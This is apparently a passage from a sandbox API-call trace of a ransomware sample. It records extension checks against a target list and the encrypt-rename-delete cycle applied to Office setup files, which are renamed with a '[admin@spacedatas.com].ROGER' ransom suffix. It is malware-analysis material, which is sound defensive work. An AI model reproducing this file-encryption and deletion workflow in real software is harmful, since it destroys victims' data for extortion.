Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.994] lstrlenW (lpString=".1cd") returned 4 [0042.994] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.994] lstrlenW (lpString=".jpg") returned 4 [0042.994] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.994] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.994] lstrlenW (lpString=".doc") returned 4 [0042.994] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0042.995] lstrlenW (lpString=".docx") returned 5 [0042.995] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0042.995] lstrlenW (lpString=".pdf") returned 4 [0042.995] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0042.995] lstrlenW (lpString=".xls") returned 4 [0042.995] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0042.995] lstrlenW (lpString=".xlsx") returned 5 [0042.995] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0042.995] lstrlenW (lpString=".ppt") returned 4 [0042.995] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0042.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.995] lstrlenW (lpString=".zip") returned 4 [0042.995] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0042.995] lstrlenW (lpString=".rar") returned 4 [0042.995] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0042.995] lstrlenW (lpString=".bz2") returned 4 [0042.995] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0042.995] lstrlenW (lpString=".7z") returned 3 [0042.995] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0042.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.995] lstrlenW (lpString=".dbf") returned 4 [0042.995] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0042.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.995] lstrlenW (lpString=".1cd") returned 4 [0042.995] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0042.995] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\InfoPath.en-us\\SETUP.XML") returned 104 [0042.995] lstrlenW (lpString=".jpg") returned 4 [0042.995] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0042.995] lstrcmpiW (lpString1=".CHM", lpString2=".ROGER") returned -1 [0042.996] lstrlenW (lpString="OCT.CHM") returned 7 [0042.996] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.046] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=71236) returned 1 [0043.046] CloseHandle (hObject=0x36c) returned 1 [0043.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 0x20 [0043.047] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0043.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.047] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.047] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.047] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0043.047] GetLastError () returned 0x0 [0043.047] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x11644, lpOverlapped=0x0) returned 1 [0043.051] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x11650, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x11650, lpOverlapped=0x0) returned 1 [0043.053] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.053] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe2, lpOverlapped=0x0) returned 1 [0043.053] SetEndOfFile (hFile=0x3b0) returned 1 [0043.053] CloseHandle (hObject=0x3b0) returned 1 [0043.054] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.054] SetEndOfFile (hFile=0x36c) returned 1 [0043.055] CloseHandle (hObject=0x36c) returned 1 [0043.056] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0043.056] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\oct.chm")) returned 1 [0043.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.056] lstrlenW (lpString=".doc") returned 4 [0043.056] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.056] lstrlenW (lpString=".docx") returned 5 [0043.056] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0043.056] lstrlenW (lpString=".pdf") returned 4 [0043.056] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.056] lstrlenW (lpString=".xls") returned 4 [0043.056] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.056] lstrlenW (lpString=".xlsx") returned 5 [0043.056] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0043.056] lstrlenW (lpString=".ppt") returned 4 [0043.056] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.056] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.056] lstrlenW (lpString=".zip") returned 4 [0043.057] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.057] lstrlenW (lpString=".rar") returned 4 [0043.057] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.057] lstrlenW (lpString=".bz2") returned 4 [0043.057] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.057] lstrlenW (lpString=".7z") returned 3 [0043.057] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.057] lstrlenW (lpString=".dbf") returned 4 [0043.057] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.057] lstrlenW (lpString=".1cd") returned 4 [0043.057] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.057] lstrlenW (lpString=".jpg") returned 4 [0043.057] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.057] lstrlenW (lpString=".doc") returned 4 [0043.057] lstrcmpiW (lpString1=".doc", lpString2=".CHM") returned 1 [0043.057] lstrlenW (lpString=".docx") returned 5 [0043.057] lstrcmpiW (lpString1=".docx", lpString2="T.CHM") returned -1 [0043.057] lstrlenW (lpString=".pdf") returned 4 [0043.057] lstrcmpiW (lpString1=".pdf", lpString2=".CHM") returned 1 [0043.057] lstrlenW (lpString=".xls") returned 4 [0043.057] lstrcmpiW (lpString1=".xls", lpString2=".CHM") returned 1 [0043.057] lstrlenW (lpString=".xlsx") returned 5 [0043.057] lstrcmpiW (lpString1=".xlsx", lpString2="T.CHM") returned -1 [0043.057] lstrlenW (lpString=".ppt") returned 4 [0043.057] lstrcmpiW (lpString1=".ppt", lpString2=".CHM") returned 1 [0043.057] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.058] lstrlenW (lpString=".zip") returned 4 [0043.058] lstrcmpiW (lpString1=".zip", lpString2=".CHM") returned 1 [0043.058] lstrlenW (lpString=".rar") returned 4 [0043.058] lstrcmpiW (lpString1=".rar", lpString2=".CHM") returned 1 [0043.058] lstrlenW (lpString=".bz2") returned 4 [0043.058] lstrcmpiW (lpString1=".bz2", lpString2=".CHM") returned -1 [0043.058] lstrlenW (lpString=".7z") returned 3 [0043.058] lstrcmpiW (lpString1=".7z", lpString2="CHM") returned -1 [0043.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.058] lstrlenW (lpString=".dbf") returned 4 [0043.058] lstrcmpiW (lpString1=".dbf", lpString2=".CHM") returned 1 [0043.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.058] lstrlenW (lpString=".1cd") returned 4 [0043.058] lstrcmpiW (lpString1=".1cd", lpString2=".CHM") returned -1 [0043.058] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OCT.CHM") returned 100 [0043.058] lstrlenW (lpString=".jpg") returned 4 [0043.058] lstrcmpiW (lpString1=".jpg", lpString2=".CHM") returned 1 [0043.058] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0043.058] lstrlenW (lpString="OfficeMUI.XML") returned 13 [0043.058] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.059] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=5557) returned 1 [0043.059] CloseHandle (hObject=0x36c) returned 1 [0043.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 0x20 [0043.059] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0043.059] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.059] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.060] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.060] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0043.060] GetLastError () returned 0x0 [0043.060] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x15b5, lpOverlapped=0x0) returned 1 [0043.062] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x15c0, lpOverlapped=0x0) returned 1 [0043.063] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.063] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xee, lpOverlapped=0x0) returned 1 [0043.063] SetEndOfFile (hFile=0x3b0) returned 1 [0043.063] CloseHandle (hObject=0x3b0) returned 1 [0043.064] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.064] SetEndOfFile (hFile=0x36c) returned 1 [0043.064] CloseHandle (hObject=0x36c) returned 1 [0043.065] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0043.065] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemui.xml")) returned 1 [0043.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.065] lstrlenW (lpString=".doc") returned 4 [0043.065] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.065] lstrlenW (lpString=".docx") returned 5 [0043.065] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0043.065] lstrlenW (lpString=".pdf") returned 4 [0043.065] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.065] lstrlenW (lpString=".xls") returned 4 [0043.065] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.065] lstrlenW (lpString=".xlsx") returned 5 [0043.065] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0043.065] lstrlenW (lpString=".ppt") returned 4 [0043.065] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.065] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.065] lstrlenW (lpString=".zip") returned 4 [0043.065] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.065] lstrlenW (lpString=".rar") returned 4 [0043.066] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.066] lstrlenW (lpString=".bz2") returned 4 [0043.066] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.066] lstrlenW (lpString=".7z") returned 3 [0043.066] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.066] lstrlenW (lpString=".dbf") returned 4 [0043.066] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.066] lstrlenW (lpString=".1cd") returned 4 [0043.066] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.066] lstrlenW (lpString=".jpg") returned 4 [0043.066] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.066] lstrlenW (lpString=".doc") returned 4 [0043.066] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.066] lstrlenW (lpString=".docx") returned 5 [0043.066] lstrcmpiW (lpString1=".docx", lpString2="I.XML") returned -1 [0043.066] lstrlenW (lpString=".pdf") returned 4 [0043.066] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.066] lstrlenW (lpString=".xls") returned 4 [0043.066] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0043.066] lstrlenW (lpString=".xlsx") returned 5 [0043.066] lstrcmpiW (lpString1=".xlsx", lpString2="I.XML") returned -1 [0043.066] lstrlenW (lpString=".ppt") returned 4 [0043.066] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0043.066] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.066] lstrlenW (lpString=".zip") returned 4 [0043.066] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0043.067] lstrlenW (lpString=".rar") returned 4 [0043.067] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0043.067] lstrlenW (lpString=".bz2") returned 4 [0043.067] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0043.067] lstrlenW (lpString=".7z") returned 3 [0043.067] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0043.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.067] lstrlenW (lpString=".dbf") returned 4 [0043.067] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0043.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.067] lstrlenW (lpString=".1cd") returned 4 [0043.067] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0043.067] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUI.XML") returned 106 [0043.067] lstrlenW (lpString=".jpg") returned 4 [0043.067] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0043.067] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0043.067] lstrlenW (lpString="OfficeMUISet.XML") returned 16 [0043.067] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.067] GetFileSizeEx (in: hFile=0x36c, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=819) returned 1 [0043.067] CloseHandle (hObject=0x36c) returned 1 [0043.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 0x20 [0043.068] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0043.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0043.068] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.068] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.068] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b0 [0043.068] GetLastError () returned 0x0 [0043.068] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x333, lpOverlapped=0x0) returned 1 [0043.070] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x340, lpOverlapped=0x0) returned 1 [0043.070] ReadFile (in: hFile=0x36c, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0043.070] WriteFile (in: hFile=0x3b0, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xf4, lpOverlapped=0x0) returned 1 [0043.071] SetEndOfFile (hFile=0x3b0) returned 1 [0043.071] CloseHandle (hObject=0x3b0) returned 1 [0043.071] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0043.071] SetEndOfFile (hFile=0x36c) returned 1 [0043.072] CloseHandle (hObject=0x36c) returned 1 [0043.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0043.072] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office.en-us\\officemuiset.xml")) returned 1 [0043.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.073] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office.en-us\\OfficeMUISet.XML") returned 109 [0043.073] lstrlenW (lpString=".doc") returned 4 [0043.073] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0043.073] lstrlenW (lpString=".docx") returned 5 [0043.073] lstrcmpiW (lpString1=".docx", lpString2="t.XML") returned -1 [0043.073] lstrlenW (lpString=".pdf") returned 4 [0043.073] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0043.073] lstrlenW (lpString=".xls") returned 4 [0043.073] 